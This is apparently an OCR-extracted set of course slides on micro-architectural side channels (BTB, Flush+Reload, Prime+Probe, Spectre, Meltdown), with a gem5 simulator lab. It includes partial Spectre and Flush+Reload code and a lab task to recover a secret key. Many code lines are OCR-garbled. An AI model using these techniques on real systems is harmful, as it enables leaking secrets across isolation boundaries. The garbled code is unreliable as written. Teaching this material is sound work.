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Micro-Architectural Attacks

e Information Leakage

= Side Channels: Unintentional leakage of sensitive data

= Covert Channels: Deliberate leakage of sensitive data (by a Trojan)
e Denial of Service
e Reverse Engineering.



Information Leakage

e Types of Side Channel in the micro-architectural Context
= Storage Side-Channels: e.g unprotected memory locations.
» Timing Side channels: e.g Information contained in cache hit/miss time
difference.
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Recap: Computer Architecture

e Processor

e MMU

e Cache

e Main Memory (DDR)
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Recap: Processors
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In Order Processor Pipeline
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In Order Processor Pipeline

e Statically Scheduled (During Compile Time)
e Pipeline Hazards
» Structural Hazards: e.g two back-to-back instructions using the floaitng point
unit.
» Data Hazards: e.g an instruction depends on the result of the previous
instruction.
» Control Hazards: e.g branhces, Future value of PC is not known.



In Order Processor Pipeline

e Data hazards stall the pipeline.
 Need Branch predictors for control hazards:
= Simple 1 bit/ 2 bit predictors. ([1], p.C-24)
= Correlating Branch Predictor. ([1] p. 182)
» Tournament Predictors. ([1] p. 184)
» Tagged Hybrid Predcitors. ([1] p.188)



-Dynamic Scheduling and Out-of-Order execution [1] p.193

fdiv.d fo,f2,f4
fadd.d f10,fo,fs
fsub.d f12,f8,f14



-Dynamic Scheduling and Out-of-Order execution [1] p.193

Dependence
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-Dynamic Scheduling and Out-of-Order execution [1] p.193

Stalled

fsub.d f12,f8,f14



Out-of-Order Pipeline
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Out-of-Order Pipeline

e Multiple Insturction are fetched in parallel.
e Execute Instructions that are ready (l.e data available)
e Instructions are commited in-order using the reorder buffer



Out-of-Order Pipeline

e Hides Latency (Like Cache, & Multiple threads)

e Much More complex

e Security Hazards (As we will see later)

e Can not be done in compiler as compiler does not have runtime data.
= e.g dynamic Scheduling



Example: Branch Target Buffer Side Channel (Ref |2])

e BTB stores the target addresses of previous branches.
e Acts like a cache.



Montgomery Multiplier BTB Attack

function exponent(b, e, m)
begin
X ¢« 1
for 1 ¢« |e| -1 downto 0 do
X ¢« xN2
X ¢ X mod m
1if (ei = 1) then
X <« Xxb
X ¢ X mod m
endif
done
return Xx
end



Montgomery Multiplier BTB Attack

branch not taken

X ¢« XMN2
X ¢« X mod m



Montgomery Multiplier BTB Attack

branch taken

1if (ei = 1) then
X ¢« xb

X ¢« X mod m
endif



Example: Branch Target Buffer Side Channel (Ref |2])
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Example: Branch Target Buffer Side Channel (Ref |2])

e assume that an adversary can run a spy process simultaneously with the cipher
e spy process continuously executes unconditional branches
e these branches map to the same BTB set with the conditional branch under attack.
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Example: Branch Target Buffer Side Channel (Ref |2])

e The adversary starts the spy process before the cipher

e Cipher cannot find the target address of the target branch in BTB -> misprediction
e misprediction -> the target address of the branch needs to be stored in BTB.

e spy branch is evicted. (they occupy the whole BTB set)

e spy finds from its own execution time if the branch was taken.
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RECAP: Cache: Cache Terminology

Memory contains up-to-date data, and cache has a copy (cache line): CLEAN
Cache has up-to-date data, and it must be written back to memory: DIRTY
Memory contains up-to-date data, and cache does not : INVALID

Memory does not have up-to-date data, cache does not : INVALID



RECAP Cache Terminology

e HIT: Data found in Cache.
e MISS: Data is not in the cache.
e EVICT: A clean cache line is replaced due to a new allocation.



RECAP Cache Drganizationo(4 Way)
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RECAP Cache Policies

e Allocation
= Write Allocate : On a Write miss replace the cache line.
» Read Allocate : On a read miss replace the cache line.



RECAP Cache Policies

e Update
= Write Through : A write updates both the cache and the main memory.
= Write Back: Write updates the cache only (marked as dirty). Main memory is
updated, when the line is evicted, cache is Flushed.



RECAP: Cache Coherence

e Case 1. Memory update by another master. Cached copy is out of date.
e Case 2. For write back cache, when master writes to cache, main memory is out of
date.



RECAP: Cache Coherence

e Cache Coherency Protocols
= MEI (Modified, Exclusive, Invalid)
= MESI (Modified, Exclusive, Shared Invalid)
= MOESI (Modified, Owned, Exclusive, Shared Invalid)
e Goals
= Cache to Cache copy of clean data.
= Cache to Cache move of Dirty data without accessing external memory.
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Recap: MMU Operation

e Translation Lookaside Buffer
» Keeps a page table for virtual to physical address translation.
» 4GB memory with page size of 4K => ~4MB
» Each process has a different page table.
= page table is kept in main memory.
» Each access will need two accesses to main memory.
= TLB acts as a cache for page table entries (PTE).



Recap : Life of a Memory Request



Recap : Memory Hierarchy
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SIZE SPEED

1KB ~300pS

64K B ~1 NS

256KB  ~5-10ns

1-2GB ~50-100ns

4-64GB ~25-50uUsS

DISK




SIZE SPEED

1 KB ~3 00ps

64K B ~1 NS

256K B ~5-=10ns

4-8MB ~10-20ns

4-16GB ~50-100Ns

256GB -1 TB ~>0-100uUs

DISK




SIZE SPEED

2KB ~3 00ps

64K B ~1 NS

256K B ~3—10NS

8-32MB ~10-20ns

8-64GB ~50-100nNs

256GB -2TB ~>0—-100us

DISK




SIZE SPEED

4K B ~300pS

64K B ~1 NS

256K B ~3—10NS

16-64MB ~10-20ns

32-256GB ~50-100nNs

16—64TB ~5-10ms
1-16TB  ~100-200us [FLASH DI




Example: Cache Side Channel (Ref |3])



Flush+Reload

Shared Mem Between Attacker And Victim

Cache Lines

Attacker flushes the whole array from the cache
#include <intrin.h>
__mm_clflush(array);



Flush+Reload

H\ - - Shared Mem Between Attacker And Victim

\Victim acces : bring line into cache

Victim Acceses the shared cache



Flush+Reload

Hk - - Shared Mem Between Attacker And Victim

\Reluad acces time

Attackere Re-acceses the shared cache, Low access time
due to cache hit; Measures access time
timel = rdtscp( array)
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Prime+Probe

Attacker fills the Cache with an array

Tries to use the same cache lines as
the victim

Victim does not acces the cache.

Attacker Probes (reads and
measure timing for his own array)

Guesses that Victim has not
accessed the target memory
location



Prime+Probe

Attacker fills the Cache with an
array. (Prime)

Tries to use the same cache lines as
the victim

Victim access the cache.

Attacker Probes (reads and
measure timing for his own array)

Guesses that Victim has accessed
the target memory location because
It has evicted his own array cache
line.



Prime+Probe

Cache
I SO tag ol ... B
& S1 tag BO[ .... Bn
MMU |
G Sn| taz |BO| .... Bn

Cache tag | Set: Byte

00001

How to calculate the eviction sets ?
What Is the offset for a cache line size of 64 bytes ?
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DRAM Operation: DRAM Operation

e READ: Activate (open the row)-> Read -> Precharge (close).
e WRITE: Activate (open the row)-> Write -> Precharge (close).
e REFRESH: READ-> WRITE back.



DRAM Traffic TCL,TRCD,TRP
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DRAM Traffic

e DRAM is the main performance bottleneck in a SoC.
e DRAM response can come out of order, has high initial latency.



Example: Memory Controller Side Channel (Ref [4])

e Detecting firefox keystrokes from row buffer conFlicts.
e find target addresses

e open arow in the same bank.

e detect memory access from rowbuffer hit/miss time.



Standard Protections
(Doesn't protect from Side Channel Attacks)

e Each User Process runs in its own virtual space.
e The security is guranteed through isolation of virtual memory spaces.
e Enforced during address translation.

SysCall Interface

e Syscalls are the only way to access operating system Functions.
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Spectre



#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#ifdef _MSC_VER

#include <intrin.h> /x for rdtscp and clflush */
#pragma optimize("gt",on)

#else

#include <x86intrin.h> /*x for rdtscp and clflush x/
#tendif

X
/********************************************************************

Victim code.
********************************************************************/
unsigned 1int arrayl_size = 163
uint8_t unusedl[64];
uint8_t arrayl[160] = {
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}s
uint8_t unused2[64];
uint8_t array2[256 * 512];



Speculative execution of branch even when
X > arrayl_size.

void victim_function(size_t x) {
if (x < arrayl_size) {
temp &= array2[arrayl[x] * 512];
}
}



#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#1fdef _MSC_VER

#include <intrin.h> /*x for rdtscp and clflush */
#pragma optimize("gt",on)

#else

#include <x861intrin.h> /*x for rdtscp and clflush x/
#endif

X
/********************************************************************

Victim code.
********************************************************************/
unsigned int arrayl_size = 16;
uint8_t unusedl[64];
uint8_t arrayl[160] = {
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Train the branch predictor for some
iferations. Force it fo mispredict.



Spectre
T <1 n bounds>

predicted




Spectre

if (x < array1_size) y = array2[array1[x] * 4096];
e To attack

N

- a victim_address=arrayl+x

N

So a x=victim_address-arrayl

a
a The array2 index accessed i1s the value stored 1n victim_ac



Spectre
F (x < array1_size) y = array2[array1[x] * 4096
e To attack

- a Find out the array2 index accessed with Flush+Reloa
- a Why do we need to multiply by a stride of 64 ?



Spectre Mitigations

e All Out-of-Order Processors are affected by spectre.
e However it is harder to exploit. Need to find code pattern in the victim:
1f (x < arrayl_size)
y = array2[arrayl[x] * 4096];



MeltDown

Max

Physical memory




MeltDown

1 raise exception();
> // the line belowis never reached
3 access(probe array[data * 4096]);

Listing 1: A toy example to illustrate side-effects of out-
of-order execution.

<instr. >
<instr. > "
|_
o
o
EXCEPTION . v
HANDLER <lnstr. > W
<lnstr.> € [ Exception ]
<instr. > <instr. > EB“
[ Terminate] <instr.> o= o
<instr.> x 0 ©




MeltDown

e 1. raise _exception();

e1.// the line below is never reached

e 1. access(probe_array[data * 4096]); Spill over to the Kernel memory space. Find
the value through Flush+Reload.



MeltDown

e Step 1 The content of an attacker-chosen memory location, which is inaccessible
to the attacker, is loaded into a register.

e Step 2 A transient instruction accesses a cache line based on the secret content of
the register.

e Step 3 The attacker uses Flush+Reload to determine the accessed cache line and
hence the secret stored at the chosen memory location



MeltDown Mitigations

e KAISER Patch: User space does not have access to kernel memory.
e KASLR (Address space layout randomization): Makes the attack difficult.



TP : GEM5 Config

TP: CONFIG

system
cpu

cpu.dcache_port cpu.icache_port

Cachel Cachel

t

Unified L2
Cachel

membus

mem__ctrl.port

| mem_ ctrl |




TP STEP 1

Clone the repository https://github.com/amusant/micro_archi attacks
Ssource env.sh — sets up environment variables.

Go to directory hit_miss; look into code hit_miss.c

Run make to compile the code in hit_miss directory

Runs $Smake launch to launch simulation.

We use the gem5 simulator to simulate a basic system with x86 processor and two levels of cache.
Understand the code used for

B Flush

B Acces

B Reload

By changing the acces pattern do you see any difference in the output ?

What is the role of STRIDE, does the code still work after changing STRIDE ?


https://github.com/amusant/micro_archi_attacks

X
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <x86intrin.h> /x for rdtscp and clflush *x/
#define STRIDE 64
uint8_t array2[256 *x STRIDE];
X
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
X
X
X
void main(){
int tries, 1, j, k, mix_1, junk = 03
register uint64_t timel, time2;
volatile uint8_t * addr;
static int results[256];

for (1 = 05 1 < 2563 i++)
results[i] = 0;
for (tries = 9; tries > 03 tries—-) {



Flushing the array

/* Flush x/
for (i = 0 i < 2563 1i++)
_mm_clflush( & array2[i1 * STRIDE]); /* intrinsic for clflush instruct



Access by Victim

for (i = 05 1 < 64; i++)
temp &= array2[i*STRIDE];



Reload and measure time

/* RELOAD x*/

for (i = 03 i < 2563 i++) {
mix_1 = ((1 x 167) + 13) & 255;
addr = & array2[mix_1 * STRIDE];

timel = __rdtscp( & junk); /* READ TIMER =*/
junk = x addrj; /* MEMORY ACCESS TO TIME x/
time2 = __rdtscp( & junk) - timel; /* READ TIMER & COMPUTE ELAPSED TI|

results[mix_i]+=time2;



TP STEP 2

Go to directory flush_reload; look into code flush_reload.c
The function victim does the following:

It accesses the array[secret[desknumber][i]*STRIDE]
Where the secret is a 16 character secret key.

B secret[desknumber]="XXXXXXXXXXXXXXXX"

Your goal is to find the 16 characters of the secret value.
The secret value changes with desk number.

Run make to compile the code in flush_reload directory
Runs $Smake launch to launch simulation.

Inspire yourself from the hit_miss code.



TP STEP 3

e Download the Spectre Example link from
s spectre/link
e Read and Understand the code.

e Compile the code -Sgcc spectre.c -Launch the experiment
-Sgem5.0pt ../configs/two_level.py ./a.out
-does 1t work ?

e Change line 99 in ../configs/two level.py
» from DerivO3CPU() to TimingSimpleCPU()
= realaunch simulation
= Does it work ?
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